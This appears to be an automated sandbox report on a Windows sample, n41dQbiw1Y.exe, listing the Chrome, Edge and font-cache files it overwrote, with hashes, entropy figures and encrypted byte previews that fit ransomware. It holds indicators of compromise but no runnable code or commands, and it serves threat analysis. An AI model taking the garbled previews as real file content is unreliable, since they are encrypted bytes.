Preview:	.On.!^...j....<.... .......9...1`....2...t.n%.9.#>...\|...<.].........X.....p......E..`...\|...g<{......(....8h.1T..Y..{*..\|..q.....M.N.&.....iQ$.O.{i......w_................J.C..MO..j.y2.J.....&rb.@..bR...+.PU....U)..).1S.@...V...H..c.}...V..?R....&`..6..%.[...bCPi..Q...cY..t..qR..^..w.\d.....E.t.m.>...M.9..5....;.d.1.).FUj.@...}:...A..l.....f.=GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOG.old

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	682
Entropy (8bit):	7.683111739213699
Encrypted:	false
SSDEEP:	12:kzs/IAxpWx2vhah+gJ+zxW/d0hJA1oCClJrONAMJDZ+RlzYcii9a:8OxxcOhA4a1SXyDsRlsbD
MD5:	B07C88178341343956344888C50AFABE
SHA1:	E3FE7CCE10928C5B0C9FE49C497E09724014FA23
SHA-256:	7C5C0CBCC84D6CABD1C04147D4593FC4B4584272180ED8292EF838126085E2B2
SHA-512:	4D7471AF9A7CE3850F67776ACD2B0EF1BB1D7E36F3FB19904E96649B03C99FB3C736967A665339EEE18C8706686F9A6430ED8664357DB444341A7AC89B86A4C7
Malicious:	false
Preview:	2023/.J.g.D...c.....^.g.a../m..@..$.p.l9..K.7..P..,..O.~.^.@.(...X.gG..........8.....@c...m.M.W...E...k....$.5.l.'M....X.t:9X.$.....=.,...k..v.fz{......^p.....g....[....1/-..wSB....:..;..a....-B...TLr.q'v.Q/....QoK..@.BUO..u..<.:E.....'q..e.o....U)Y. ..I...%z\.5....&V..y.,V..O>7...,.y...pH.E<w\|..e,..q..s..^.g..."....{cL.....E.......S...h..!.....~-..R_C,...q..0@ .Z.x.p0.kh*U.g..wGc..p.G..!Y..m.F.t...0..J,..?...>...e.(.=.......&.0....#....8....s.x....e.....pH..9..uq.Xa...:(P.............5FSm."S-..@..^. ..q].\...h.2.h...M.&...a%...`.4.O.q.!....az..$....gGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	395
Entropy (8bit):	7.40260938235572
Encrypted:	false
SSDEEP:	6:SNWD2eA+KXMSiSxzh08lrSofkX3N2lJvmoTmitgnxYqCQUpG8vcii96Z:SNZ+eHF0CSofkkjmovtsY1QUYYcii9a
MD5:	68237B3BE49C3D152997A5130CD9F843
SHA1:	E346E1EAEDCBC2C6EB225646B9D0A01E21E94917
SHA-256:	29F59EC6D88692047FACA4EA84CAF6EA27FCC39B2A75C3F029CADD1C0E9134F1
SHA-512:	17E38B3174B5B2378628E4FBC47F7E04C7FAC93BDD023C94CBE6BFFC699C86B8D1AEC2508902165ECED4405E07532BFFAF6C29E8DFFFA92F141A813C2E8C6D50
Malicious:	false
Preview:	...#fe....A.....yA.m..J...!n\|.rkI....T.rID%.0.F=.V..\|......2.Q...........p ....o_'.;..N~......T2.7.......B..v...e..Z{..Q....kYHqpi..3~.c..l\..<.....s!...?fC.T.{.?....G....$....U.`U..s.l.iq.T..S..}...8:.+..J..}...H.^.(.:......C..e.Y.`..~. ............]...B..\95..`H,.}.N......w...Oe.(..\v+.#....'..6.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	29006
Entropy (8bit):	7.994100950553796
Encrypted:	true
SSDEEP:	768:RQOCU1t7vX3+6ttW2DLiHqU4FFKBnP6iLY79U9zs:Rr1Nv3+6tHLiKU+QY79As
MD5:	F24FFF1B575CCFF95D0C7DB88465855B
SHA1:	AD1770DDD3E8BC512FC940AF9E8A5481765687DD
SHA-256:	F889B3F510A2F7F007FE58789859A00DC43C1315C4172F0399973F48F26B1C19
SHA-512:	B2A321063934758E6D3AA1A8C0698EB153C690ACCB9890CEA293CB78EEF3FE7FA4C50C4DB168DF63CD30025D3C02826FE607399E563476F64045F94B41123350
Malicious:	true
Preview:	SQLit.$Ia/..9....D.&....".y.....Q..+4..B.........&b..]..-......M..J@z.!f[...Q.......E[U........8..N.;........+@d.a...?....sp.!k..Z.9..;...../.$.BF+a.....<q..c.3.....gE...l.........d..+.y..=..S8^..@.&..).zS..Q.h.:........w...h./..a...../&...5~e..jN.1J.7....{h\$.9.R6K.. ...Hb..nsG.d..M........+.7.P8YK[.<8.7..L.\....o.........M.P.q..;$m.3.Q..<....Z..ZT......E...;!]..^......o7...9...aK/...}~.W.1.h.oS.EaG.;<:.....W..jY......2..?\..C7...f...f....B....g..FKD.3x....ig..:..\..\.pl.QVX.F..+6...xR.C..p.W.NH.Z.&]....H.\..Gk#.8.S....`.....1.I..m.+.[3.F.....^{4..CK./...S.EXY_.m.a....Rh.,p......\[wC..x..........{....UR...Ph'w._.;r...t#..Q0O...#......QT........K..k........&<..........7.S..#9T.>..l+.l.I.2.S.^...y....a..[..R.'%.~....<%...........H........./...O]....*...#.d...5t.,9.m...^.F2BS'.oS...].....8....V.c@h3h....l+..L....M./..........{....\|....;.$!......le.....,.3.g...C.t:..km....K..!KB........k..[....x........g'"#..g.2.I69.pd....n.zn.&-..rH.8.r9

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	77068
Entropy (8bit):	7.997468272612205
Encrypted:	true
SSDEEP:	1536:pB+5viFFEfme8p82shGI75s42qUzr2UEjx0Z1Q26+L/+XX6NwWZ1:aviF2E7shp7i4kzajxkjL/SX6Nzv
MD5:	07FDDA672CA566DFA220063E33EE5733
SHA1:	63A99502FBF0BDF2315DD3302FBA247615EB810B
SHA-256:	745C8A33555A9DCA84DE3C8CD16341EDCC3702ABC2938E7F659949C72048B87F
SHA-512:	41F4CBA870E84B50C7D168FA58B3D6854623300248254EF597FDA572AF599E6557808234FE7EF1CEC00289C31D39BC8B1F0F6126375082BBB17DB7926C7ED15C
Malicious:	true
Preview:	A..r.).oW..1:Lk.1_...kQ....s.-.?.....js.=a.H........3.C..Y..VC...@..U;3.M..".6}" ./.i2.aL.....[..d!Dt...,6.......qD'....g,..Q....IZ.\.b...<.P!-U3..H.k..;S......=b]XU...au.W...W,=x..`B..a..z.~.I)(j.E7.7...J..._~.<.../..,.{.....k...m..6..>..F../...........B.Q.Njw...[_.c...2`..o.;SA.";6.@....?m..C..MK...../...U>{.5U....;.-$'._.F...3A..(..wO.2......I.4.s0.+....F.bF........0Z9:]..."...........a=.[i...U3Q..V(V.71...n...w..(".I..e..FE.O...qW..n:a.T.n.u.~ ...........{V...%...n.q..S..........T....I.~.<`.G.h..4...j..XG.&....l.45b..nYW....^=..x.C...y..E.b.:.&.O.......BB.......g..r.WZ~..v.3.C+G.5.......[....J8..o.......*....Z.KG.I....WO....,../..'.8X.8.r.?...g,/a.$.3.+9 ='{......OA.... 7.....J.vY1.^.......x.yfc.. ......;.....'....yQ..x'A....!...Am.(n.$w.(m~..>..u.....x3.....6. r...:&..;...q..N....$d..4J..?.p........L....]..l..........k.c.%..,gJ..g-..'..P+...Qlz....r..9./..z.x.1..w@.+.F..Z...h.....0.^\|@5.c.c...#...m@N6....>.._#.X,X...N.y...M)._....X."

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\LOG.old

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	654
Entropy (8bit):	7.634296132087057
Encrypted:	false
SSDEEP:	12:kJq7Nu6Tl4KRmkjaLzJmQwGJcRfwR5NYaZktkYltUJtCO/+tYcii9a:h9aWrufQGJcRgyaZk+Y3UJ4N+bD
MD5:	7CAD2D69E32F536DEE23ED17F9ECED79
SHA1:	27864C921F37E9A0F048FE3C34C285A7F8B07A0D
SHA-256:	D76F5B310314FC8E7B7B22F793FD6CAECC2FAA67EF5F3369B1CDF1A8553DE8B3
SHA-512:	4C4EA1DD93F290BCF03C49228ADEB9BEE823B458F20F3D0B0C644F4EC3053E7F07AED186B8BBD4DFE584578FCF291B076DA69FAB5EB9C3CED18E703C3671A006
Malicious:	false
Preview:	2023/.).=6.....C).mk.....-.'.b........k..\|.f..].....;.....Y._u.o..k.EcZ.r.........0d.,.....x.)BW..+K.T.B5.T..0.WE.N.U.X{k......@.Y.F....g.......It.5.j.l.\|.n.m..z.a]............cV.K...o.'.6.9.....x'..S78...(I-..#=..6..2.n..b.......@....I....}&x....i.^.6..v...h.O..Lz'i.....Y..>....\|..sYu.?.,.A.g... ....s.N'Q.-..@K.._a...v..7.l..#...\|.C..U6.).....I.'...-.7XH*..o..I..K.T.q.M0.J..3G>_..@./....h.;..oz..Qw.C...y.w...&W.vP..P.5Z...J.cWj.u.).8<......Cn;s..z..B.[.A......K$N.J..:.<>...io].G.5....zL.R..P.b..... Ki9....q..x..R....\|.c.PL....d..Q\...49>.FGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.995940610873638
Encrypted:	true
SSDEEP:	768:Nh02Pam6YUxlY2tNusxT9OWN3HQZvqjDEk0q411ri7hRbR54F0mOBZcF68o:3xPa0wlbrT9T3HQZ8LEMhRr20mOBso
MD5:	4DDCECBE2F09B47EDAB37F166C9BF3F6
SHA1:	38A98B0721B500B8F855998A6537F97C09D9089E
SHA-256:	D9076B4446D87DB5E1B49D320B5C03E7B9908747E10D1EFA8BDE150B16984590
SHA-512:	F5EC0079CD4D3574A70D335566D02C9845B2D1AB9E059E5E436937853AB92500A599F03C45C1D09F3EA6BA53D58DB0AA7E3E276DC2DC5C6ADD691A43F77BF06B
Malicious:	true
Preview:	SQLit.&.N.b.\..0.y.....{.e..Y....'...qI..S.h..oy.....f....K(...6h.v..8....(a.n.f?{.hh\|h;.w...&s.M..&S"....".........N.uG..I...reD..}.v.t..x..(.f...T...s5..z}.....5.@...a\A-D.....%zD..W.H..`..........O(.`%.aS.r.`.S.....&Qa...3...L..t.>..L....L..Ra.^..6....\|.........q........o...G...^E.Q...4n...P..........mKpBX.7....MGE.hB..'.b..t....m...A.IX..=.....;{..V6....&^^g.....4R......._.-......\.......$_...=...U.Z...m.9..`V_.<._...U@..Tp.h.@.;.W{lf...h:#.....p.M.].`......tGN.8......G..a...X.RFO.X.g.>.....;^.Uy..o....q..9.I8.....L\|.....`(\.&bQ$ex.:_.5S_.....p..{.%..o.g...]v...S....^.u.....e..Z."......P.@,Q..~!..&........ym.....h.R-.i.3..FW..@.3..J...$.5.c.?[..q.$....K..C.>\V..S.C6.x..Q.{.N..T6..M..i..T.GH.9......_.U......#N.J.v9...d....C.....N.5.w.....Wk..F.t...I..m.M9...o..J?.....r......1E.<..../.&..s... .e....S2...-2~)T.k....4...l23.........8($A&.0..&Q......X.1_.%.mD.'...`^..=..~<.?-.!..ZGcK..;.&.vC..d..1k.d....<......0...\|z.E.....N..nF.NsS"..@.7..7..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	904
Entropy (8bit):	7.777653443483179
Encrypted:	false
SSDEEP:	24:g6lH/1fI49k/L9parCSAReL0kFqaXNVA4wbD:g8fPm7cLWeNVaD
MD5:	CAB23A670A61CCE99580AFE5B2D7A63C
SHA1:	39A0563B43C47A02C81A9C0E87B5F426D0F9F479
SHA-256:	C638BCFD83BDFEDA049A7CB47297FE9578A01B14588B395EFFA9C3A15B5A1F00
SHA-512:	B461015A417FA7A428B7C432B638106DC32A12365531922926C01CFB0FB7BC643B8C0504E73EEDF40EFD1EC840DAE1C46552629779D174AF5D2C06F6602536AC
Malicious:	false
Preview:	.f.5.......\|.Q.IW..&.'..)'...q97r..c-N'....c.S.h.?...7.....&.2...7..z.../.{O.l.'.....A%..1.!....<..t C...I@.'N....v...F.=....3m..."j6..oY..jAB....Q'-;?...uJ...}../B.s\n.oS..@.L.:.EO...d.ClD...m.h....P...b....&....]H.}......T....^o.m.E.+..'...<...V....;I....Kr= .[...`.\|C[Z..Y`..Dl.<o...G8.....l..u...h..BG.4.2.6...?.?......fY.p.Q.....Y.V.....9.R...4....q.?.\...%.5.E.....4....b..LW.<....v...Nj.)&..X...f.t.@.6....o.N...K...".A.J.....,..s..q+]tb......@..$.>.............o..Q)]...R.3...uO...r..........h...I82....Ck.."k]^...c....>..../)....l........Ex,.....R.;(.......@3&.2...z.Tq.@..dX.....WM..f... `.G..y.g8?..t.......W^.........M....7.SV/...FL...p.Vq\|+&...e.fFE..ztX.nCCXUrA........7t..L.j.....h8\\|.#2..aK.[O..:.5....a....D..7.!.".+3.E?..._u..,:)R....>f......&....D.`Y..UGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	490
Entropy (8bit):	7.494777093460529
Encrypted:	false
SSDEEP:	12:SKU7cRqK8k7GjR8Z4JIj+2mzI82v4lHnaD4V3g7ymXw6fdYcii9a:kogKQN8ZgIezIt4lHHUyewUubD
MD5:	1150BBBB8FEC24D8270DA18D08FED308
SHA1:	03CDC8758FD13A91440C24528B18DACC87E1BC70
SHA-256:	0B90B4F633111AB867CC00F7A870EA109EFD0851954FFC13DD4E61F336DA72F0
SHA-512:	954BA643E71E186F79F0566D237C39794B00571440250C1C921F20FF974B1FD264ECC9A0DD2A4F374F1B236B1EA434CA90936114CCC5A20D994465F2B8A7F817
Malicious:	false
Preview:	...#..N.f..D\,..V....=..g.&....$..s.q..y.....4..N......[.......E......T...4.r.z%......$f.UPh.}.N"...B.H..\......dp.B..C......U..../(..oa.._(6....o...b@...p~..;.Wo.,..b.9Z....#+'..C.oS..>l.....-....bxt.j...k....bSL...3!K.....y...4..J..:..wK...C$n....ZM.........\......R..b..x~g.L..x6..B.O..ZfF.....c........V...%...v".>.a.V.\|_'..hr..JU.# .I.=W...s.(.4.'....l...).yv..q+...1k..../.......3GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000003.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	374
Entropy (8bit):	7.316021968199136
Encrypted:	false
SSDEEP:	6:pMa7JCX/dyyoD/w+WhiT3Wf+pIkAHDaF0+a7oDyPnq08Hj27P1LG8vcii96Z:ia7JY/dYfWxbkAHTN7oG/8Hj2r1KYciD
MD5:	24436E3060790487720F7CC8AA4E49B1
SHA1:	31FD2B28A4C02C63095D06E41BC57AE1CB63580A
SHA-256:	E5A35D75E616DE1E93D5723EAED1C5CFEE3C76DCAD1959EF6EDF5B91FCEC6D2F
SHA-512:	12FFEDEFA7B777A91A4035B96E9E756A7A6624A8959437846E9EC77CDE4BDC836A0FAC9E5247ABD1226ECBB6466EBC2242F52AAFE63A6B147E2BEDAEE0F7CCB5
Malicious:	false
Preview:	.On.!mu....1...J.H6.'..7..(.zv.N.(......v..,h..\.B..{B.....<.~..JK.....d\9..PeA.].X..l.X..'..~q....fu...N....d...&$.... k"..S..$..{.q...0s.). .....@............1.A....x....."..]...o<..b{.e.....$w.4x.n...\..bV.".w0xC........P8..Cp.......\|......"On._...\....6&......`....4.?...)...lvGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	684
Entropy (8bit):	7.675160893187441
Encrypted:	false
SSDEEP:	12:kpoKJkmlAkFInWm/uoCd0qBdKb8lK1zIYLQ69C2aSygBPcdXYcii9a:ovyJVRu0qBIb8lK5IYLQ4CRgBPcdIbD
MD5:	F09311851A5B93317E3BA4E2F4D7DA02
SHA1:	2A7B8D5156A6DA030E7567BEF9A3149FD656BE0F
SHA-256:	652E9B0BF063F3CB53CB71352CFB883D27C13BB9A77953D13F5D69E38830D653
SHA-512:	02F192EB01CE80B1E7F90F2E8E77A3FA603A77DA5146F13F522882C131A6204E22CE94ECA4517B8D4DE6808EC361AD9A536057B8F54EE128DB63E6ACB9D09F8D
Malicious:	false
Preview:	2023/f.c....:}0...D....Z.j.............%..z.?...G-Pkb..`.....R.rE.R.....U,J~....(V.P..7mP.$}.....y..@.1......>Al.v.ZXF.7..W.2.o...7. .~..WY...J....`9..}.-.... ..(....LQ.m.f...6S.2.........V[..}.....N.s.^.:..:..H.x.a..H........a.,~-L.9.P...'.c..Q.iB.O./...A..s.p.9d.7HnU.c.V.\|/..h..$0.......S.:.W...B....z.uQ.m....@..4.;._..!.(u...Tl=...](..C...E.f....H..=4.!g.....sB.%.z.y.y ..)..+..X.d...jS....sO...P'v...X.SD.#.9....^'.&......)...aH.ZJ.KX..&.5u.J.U...f.E.....k<M..2..{R?....d.............`...p......w........oxu.J...8;...v..j.....W).8..)v....9a\|.1.\|..)......p.....o.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	395
Entropy (8bit):	7.408979145759864
Encrypted:	false
SSDEEP:	6:SpAdNRqfkGi14U/rybfEn1UQrE8Rf4JTCxHJd8Xcy4RsjMCnG8vcii96Z:SpKGf4141E+QrEw6FcycCGYcii9a
MD5:	81FE9C85D4A536963DBFD384129F9F36
SHA1:	955E6CBCE1B90290EC8B45C796E5D6B49CC3BD21
SHA-256:	DC5BB55722BA96D2ECA494AE2CBE8199C263AA4F60E0F9D74B8DFD90F5BAE8C3
SHA-512:	D5C12D1F7978DE61A9B81401C22ED8C34862E94357351F037380038F2801FE8E6BB472EEEB8A7C8CE1CC808C9C3F465E199E188E94F82651E069921FF4BF6003
Malicious:	false
Preview:	...#7....?t'%R..Crh_....n<.d...d .,:P.1L.'...#v..S.......^... 4A..F:f$v.Y.c..*3.&D......;..pj....O........t.v-.~...lw_...p..:......j.........11....Xy..;...>l...T.....'H.H..b}a.]!......n...B..P..7u.".o.iM..q.\|.<..Z.0..".C.s...\....t.k.../@..#/?...x..%....T..v.].F...).._w}..]n...I.....?=&..s1..%x.d.a.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\edgeSettings_2.0-2f9188b68640dbf72295f9083a21d674a314721ef06f82db281cbcb052ff8ec1

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	129419
Entropy (8bit):	7.998599619413665
Encrypted:	true
SSDEEP:	3072:qMHoq1/V4Y4IvL4wDWjInd5Z9wb8tEAjtd26qpVYNBQvn80VVn:qMHowr4IvnWjIndJQBAjrSbY8E0VVn
MD5:	143202F6B5C9488085537D822874BC62
SHA1:	C61BF025EAB817DE6D0D3FB8A6AF14AF3F7CB72C
SHA-256:	1E3018E1E8AA291B046A63AD5601C47536327C414D9C3801EB5A890F23B8E7CA
SHA-512:	8EDA06A1309DB07AB34F9C090FE49B8D836BAA5A6B4F702A8C3FEF09ACEC84267A50B3ECBDBE1D2C67DE613656F5DF9E56B4EFFA4D7E5073188BD7D3B91D0DE5
Malicious:	true
Preview:	{.. ..X.9... .h..X.o.J..L@.....F/0.>.k.Ag...x...3.Z)V.N...mn.g`...S`g#.1.g........y...'...v.tp.x.N...]...$G.....K..4;..&...~Y.v..;?....6.M.Rg._f....M:...Y...\|{.<.].p........1.{.........4..H.\.O2.X....3P...L(6P.0....I..5k........m...,].............l.j.r.m7...?...Y..1......r.1...[.m.{j...L.9}..2..<..[@]........-H.`.\Z.....}..$^..e....}.s....S7...^..'...i:...h..5...(.....$........&......I.x...v..'..).(..c.n.^...v..2.B...N5_.4..h]h}l.,f`.......%...u2d..Lb...(....UB.....J".{.ePgs...!.vl.Y.-...=...>..#O>..(NjW....\.g.)n>..]...-.. @..v......{.I^\|...Oh.e........qu...`....]....5&+/.....Y9.t!q.g....u.S.................RK..3)..[N..k..1..,.z1.c........XR.".y.0!.:..}.....3....b5.D7.@..:Q.......alh..)..........#mV..B..{.....#c.U...Te}..b(.n./O....(...k...O....v..}P......./&.DkD=.{{..O.dc.v....c...!.......8..O..-i..;).<......1).N.x.X\z-.....0Z"...}p.i..0{....\|...._...RNN.1.1l.:1.Qlx33..(...%P.. Z.....]E...H...uP.9..m.;......:..$..i..

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\23001069669.ttf

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	238254
Entropy (8bit):	7.234139921379308
Encrypted:	false
SSDEEP:	3072:+vP+T5lneDk+67bW3z4ARLc/nX6iG96ucCkBLEGifaukIa2Nppd2z5f9F9CNAb:E+feDkhaEAdcf5GAFbQGuaAaa/dIDiAb
MD5:	6F973E229E2E40B694AD8604597D75EA
SHA1:	69535E4BE6C81FEB9F8531436F2620B94A26D4E6
SHA-256:	2ABDA3C3A88EB3794F14DDD994EB74D4B019491AFA2AC7806549F41801EC9E06
SHA-512:	F32AB5C10BD89782E37D60EEA17E065C001578B26CDD67CE7B9B8DEBA96A3237C784BB612B92B2A37B60873D3C7C5171531728432FFF13E0A038C78EBA13F496
Malicious:	false
Preview:	.....-j...-W.Y....OW.....ewn"....?....\|.u...v..W/`.s....t.Z......r.P.v9&..V.r.d}..E..Q....QU.DUae..hX..)...i....+..[.RC.E..H.7.e.>.,r2..Go....\|!.:..#../....u.(IhYW...N..uQ.>.\|..'..y.JW...Ew.&._..C.....d.....P\x..d.F......h...v..~...I.+...P@..k.$..k.S.9S..D....)C}..M...+..S...C..H..Lm~Nz?=.!......GFE...O...s.Vq..kC.&.......b?<.nc.)1.E.6..-}.f..e.t...G.....Vq/\|m.$.u....p...2U.(..$.1Y...ko....).\.....x...J.I..r.6...IY...,..q........$.....k =.zf..j.Hr.E...0..K.G..T.....Cw N.Q..R.cw..S. .1X.. jK.\...{.J..z.@J.].~.c....8o.q......g.....U..f.i...Ifv$N...I.L....6.%.k5.Bc.7.."....YZ..!T......+.Pxqn.N..}.%".c. .:.....9+..#..(e....-../.;Y...Zg;....W.......Zx#..fT...T.?...4.D@7..A.<...MaY..RHgNr.xOj.X../..{J..CB..r...r.e..l.U..-...;F.3f.`."...+.t..qCN.]i.M?.c.4.?... ws4.u.,.YmeX'.JG..`/.......lR..w..eb4..f..P...S.a#.9=N.....1....i..#l.-..$..V..@..[...b.._..O.$...{q.>.#........-......k.".%.G....Q..k..y}...L.m.n~.(...Y..C.`Po..-..C...TSc..A_.:..H.....[.l.-..V.

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\28367963232.ttf

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	240882
Entropy (8bit):	7.263023905512707
Encrypted:	false
SSDEEP:	3072:dHHjwPbQQ1vCKSgsf59YJI8n6Q73hdo/jPpwOJGN9ckc/RGpPQ/JJCgtrsE0mV:djw3rsf5in6Q7xW/SOYN92iPQhYusEpV
MD5:	17FD77330DB1ED7910FB1C0BEC346996
SHA1:	D5B92B828329172EF05DCCAA124D15641FBEA6EF
SHA-256:	8E3C554C89E1C92AD1E160D7DA8AA325B0437D6E8A35660B5692D0130C1EB4F9
SHA-512:	E908580756E919C902CA26A35AF6EAA3A548F4D867AFA1C5BB7240D0A568254A2126745D88212C5B18F2E67E337A203783BC11C64533C798C1EC29ABD475E71F
Malicious:	false
Preview:	........Z...W..-...M.5...i^.6../..G...mo............{.:}..(..g.p6{.m..pR.sh..r.Lv,......,A$\t3+l.$ I.`6\.g...'.W~VhBxB.".P...........W..E..j.j#....:.Y~[.......0X!g`... ..( .$..v....NBTO...hI.z...o.%UR..%.f.W3x...K7..~......?O./..3....0..M.(-..;...@......p.\@..a.\|.e-..6.......c.8.A..H8....y...J.?e&.."......?...(..m.H,...n.CJ5>...b......nGu...??..M.......1L.:..."._...K..~.u.......Y.s.@(5k.{.d.....>.........1co%C......I...;C.pT..u.X\|...W.C...3....c......c..P.f2...(...c9.b.L...mm8..E..8......j&&........Z....t;2.>G....@.p..-./.&.z.Q.aKc../...:I....Xu.>].1....D....#..@.?_.=......6..m.yK..m.GF....pH.R.:..?.....$>..8TIj.6...R.z9.....!2...h....O......U5.y.fxl....J.G.....,.......%........N...8....Zq.R~*L...t.n./....(.`#.%\|OJ...R....Ux....wN....9....4 .Au..FE.w....rr....{..\|r..$u8.0......./.......P...I{=..7.D.Z...V....yd..........b..O.cy.$...X...\.z5i8bxv.9...z....Q..%......\|.Op.j+$......Te.:..P....y.....2p.....x>...7...5...C.....0E..

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\29442803203.ttf

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	241750
Entropy (8bit):	7.259249787233534
Encrypted:	false
SSDEEP:	6144:7qHiQhMKtg4s4S6fyGdIkWEQ3NecsWSvq2A:WHPfGwffHdVkwG
MD5:	2D7D8FFBB0BF5F1062471AC9E4075818
SHA1:	2A609B50C31317F28AEF1BE46F5EBD670051A01D
SHA-256:	A5407D0B69BAA7B146587A384AFFF81F3038036F08F32229B92D8D26DE915AC2
SHA-512:	2461A0CD3552A44F1D4D3921570BF5FBC2250E6868C7A4BF65C6A240F538A6350058974F2F2AB0AC52D7C0F7DD2C9017084AAED082EAA22DE95ECE5AC2BBBFE1
Malicious:	false
Preview:	......3.......V.9...}:<\y.Dr....S.h...:..X...9[J..M.".V>`.l......@..:g.r...W..,.4.9....o.g.X..o..K.5._.p.f4......He...o=.'a...j................m....R.o.Ut..c..r.+...X.A..}'...b.m ........Q,......N.lD..9...:..)..$..s.l.9..Q........l1..\...6hg.R.x...5-q.U6..e....B...j.@.-.J.x.9{.)..=........o......`"z.....p.....[....7..y.....Fa...\|F+.\.(.'..I..i.....<....G6...ZBW.,?..).....M..R.4.nb.....'[..Q...I....:....H..P.mi.......-r.....lM..Q... .3o.+K;....-.t...".Ko...P...h..9.gb......D..'. =....P..&.........G.w...(.E.U,.<...Hy.xs[.....7].{....PE,...8..<.....c....Bb.?m!A..Zq...^.b..y)AS...c)k...=...O..ra.+].-.U...I .:..e.la....7...T..I.:z."......i.9...........m..m..{......n.(..-..3."....."$@......+.a2Z..i...1.'x...............t..8vHv1..o(.......H,..:<2.....S......ZS..eO.K...K.z...4....?.VZXs..A...t.I_..?0. .4t.Pz.;.g..j.H3svvD...h..a4....%.J.."..........o..\.8g..@HO...$.8..........T.^.....6..K/q5...x'V9/0C..e.Im....@U`~...XY....$.7....a.....Z.E..k...b%...

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\30264859306.ttf

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	238962
Entropy (8bit):	7.232605795040744
Encrypted:	false
SSDEEP:	6144:4KD6xun5Sq0FSSmJ36oKa8GaeLGL3WafRPxBvdb/tDpAd:9gI19J36oT723WARrdpqd
MD5:	EBE46A8E048D5B36D50D4DECE8CD30D8
SHA1:	49D090FA1E2DDDF1CFB73B6EAFF14855B147C2A6
SHA-256:	E1E4BBEC106E5B17B64AB9F1C68B5A5844CDF1D446CB22AFAA4AA334A65F0463
SHA-512:	1D70CD8C69B403039A09BD0DB1BC7710849DF80FCA280E802F81B2F2E77690AC761BA4F6EF2382C1F498B335ED20FA6DD11419910ABA971C565CF055BB55AE99
Malicious:	false
